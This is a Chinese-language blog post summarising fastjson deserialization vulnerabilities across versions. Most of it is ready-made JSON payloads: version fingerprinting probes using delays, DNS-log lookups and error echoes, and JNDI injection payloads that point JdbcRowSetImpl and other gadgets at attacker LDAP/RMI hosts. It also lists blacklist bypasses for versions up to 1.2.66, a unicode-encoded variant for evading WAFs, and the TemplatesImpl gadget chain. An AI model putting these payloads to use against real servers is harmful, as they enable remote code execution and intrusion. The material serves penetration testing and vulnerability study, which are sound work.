d1sbb


Home | Message | Rev Shell | About | Links

[分享] fastjson反序列化漏洞全版本总结


常用方法parse()、parseObject()、parseArray() 。每个方法又有几个重载方法,带有不同参数,具体请查看源码。其中: 类的类型:java.lang.reflect.Type。可以使用@type指定反序列化任意类

1. 使用JSON.parse(jsonString)和JSON.parseObject(jsonString,Target.class),两者调用链一致,parse会在jsonString中解析字符串获取@type指定的类,parseObject会直接使用参数中的class
2. 使用JSON.parseObject(jsonString)将会返回JSONObeject对象,并且类中的set&&get方法都会被调用(指定@type的情况下)
3. fastjson在为类属性寻找get/set方法时,调用com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略_|-字符串,也就是说就算字段名为_ag_e,getter方法为getAge(),fastjson也可以找到,

鉴别jackson

如果目标回显详细报错信息,稍微破坏一下json结构,比如多一个{,比如把{}变成a。就可以看出是不是jackson。
如果目标不回显详细报错信息,而是只有一个500或者error,那么jackson不允许存在不相关的键值,fastjson允许这个特性就可以派上用场了。

延迟判断

适用于1.2.47之前版本的fastjson,这里面有一个小技巧,访问一个不常见的外网IP地址,会延迟几秒,访问一个内网地址127.0.0.1 会瞬间返回,那么证明这个POC可用,也间接证明fastjson版本是1.2.47之前的版本。那么在不出网的情况下,可以借助这个POC的延迟效果,知道目标fastjson是<=1.2.47的

{"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://11.111.22.222/test111","autoCommit":true}}

编码前:
{
  "name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},
  "x":{ "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://11.111.22.222/test111",
        "autoCommit":true}
}

延迟证明fastjson版本号1.1.16<=version<=1.2.24

{
   "b":{" @type":"com.sun.rowset.JdbcRowSetImpl",
          "dataSourceName":"ldap://137.30.0.1:7777/POC",
          "autoCommit":true}
}

异常回显 fastjson 精确版本号 删除尾部大括号

{
"@type": "java.lang.AutoCloseable"

dns探测

fastjson <1.2.43

{"@type":"java.net.URL","val":"h删ttp://dnslog"}
{删斜杠\{"@type":"java.net.URL","val":"h删ttp://dnslog"删斜杠\}:"x"}

fastjson <1.2.48

{"@type":"java.net.InetAddress","val":"dnslog"}

fastjson <1.2.68

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{删斜杠\{"@type":"java.net.URL","val":"dnslog"删斜杠\}:"aaa"}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"h删ttp://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"h删ttp://dnslog"}]
Set[{"@type":"java.net.URL","val":"h删ttp://dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{删斜杠\{"@type":"java.net.URL","val":"h删ttp://dnslog"}:0

精确探索autoType是否开启

[{"@type":"java.net.CookiePolicy"},{"@type":"java.net.Inet4Address","val":"ydk3cz.dnslog.cn"}]

各版本payload

Fastjson<=1.2.24

TemplatesImpl类利用链:
getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> EvilClass.newInstance()

1.2.25<=Fastjson<=1.2.41

引入了checkAutoType安全机制,默认关闭
如果开启autoType,则会先校验白名单,白名单存在就使用typeUtils.loadClass加载,再匹配黑名单
如果关闭autoType,则会先匹配黑名单,再匹配白名单
如果开启autoType,使用typeUtils.loadClass加载

L和;绕过

{
   "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
   "dataSourceName":"rmi://127.0.0.1:1099/vulClass",
   "autoCommit":true
}

Fastjson1.2.42

双写L和;绕过

{
   "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
   "dataSourceName":"rmi://127.0.0.1:1099/VulClass",
   "autoCommit":true
}

1.2.25<=Fastjson<=1.2.43

[{绕过

{
   "@type": "[com.sun.rowset.JdbcRowSetImpl"[{,
   "dataSourceName": "ldap://127.0.0.1:1389/VulClass",
   "autoCommit": true"
}

1.2.25<=Fastjson<=1.2.45

通过不在黑名单里面的类来绕过

{
   "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
   "properties":{"data_source":"ldap://127.0.0.1:1389/VulClass"}
}

1.2.25<=Fastjson<=1.2.47

双重json绕过了autoTypeSupport检测

{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://127.0.0.1:1389/VulClass",
        "autoCommit": true
    }
}

Fastjson=1.2.62

CVE-2020-8840的gadget绕过fastjson黑名单

{
   "@type":"org.apache.xbean.propertyeditor.JndiConverter",
   "AsText":"ldap://x.x.x.x/Exp"
}

Fastjson=1.2.66

绕过黑名单

{
   "@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
   "jndiNames":"ldap://x.x.x.x/Exp"
}

Fastjson=1.2.68

checkAutoType代码限制,JNDI注入的类基本都被拦截了

bypasswaf

大量字符绕过 WAF, unicode或十六进制编码

FastJson漏洞链特点

在反序列化时,parse触发了set方法,parseObject同时触发了set和get方法,由于存在这种autoType特性。如果@type标识的类中的setter或getter方法存在恶意代码,那么就有可能存在fastjson反序列化漏洞。

FastJson反序列化和原生反序列化利用不同的点:

  1. FastJson不需要实现Serializable
  2. 不需要变量不是transient/可控变量: a. 变量有对应的setter b. 或是public/static c. 或满足条件的getter
  3. 反序列化入口点不是readObject,而是setter或者是getter
  4. 执行点是相同的:反射或者类加载

参考文章1 Fastjson各版本漏洞分析
参考文章2 fastjson反序列化漏洞区分版本号的方法总结 参考文章3 全版本fastjson反序列化漏洞分析
参考文章4 Java反序列化之FastJson反序列化及绕过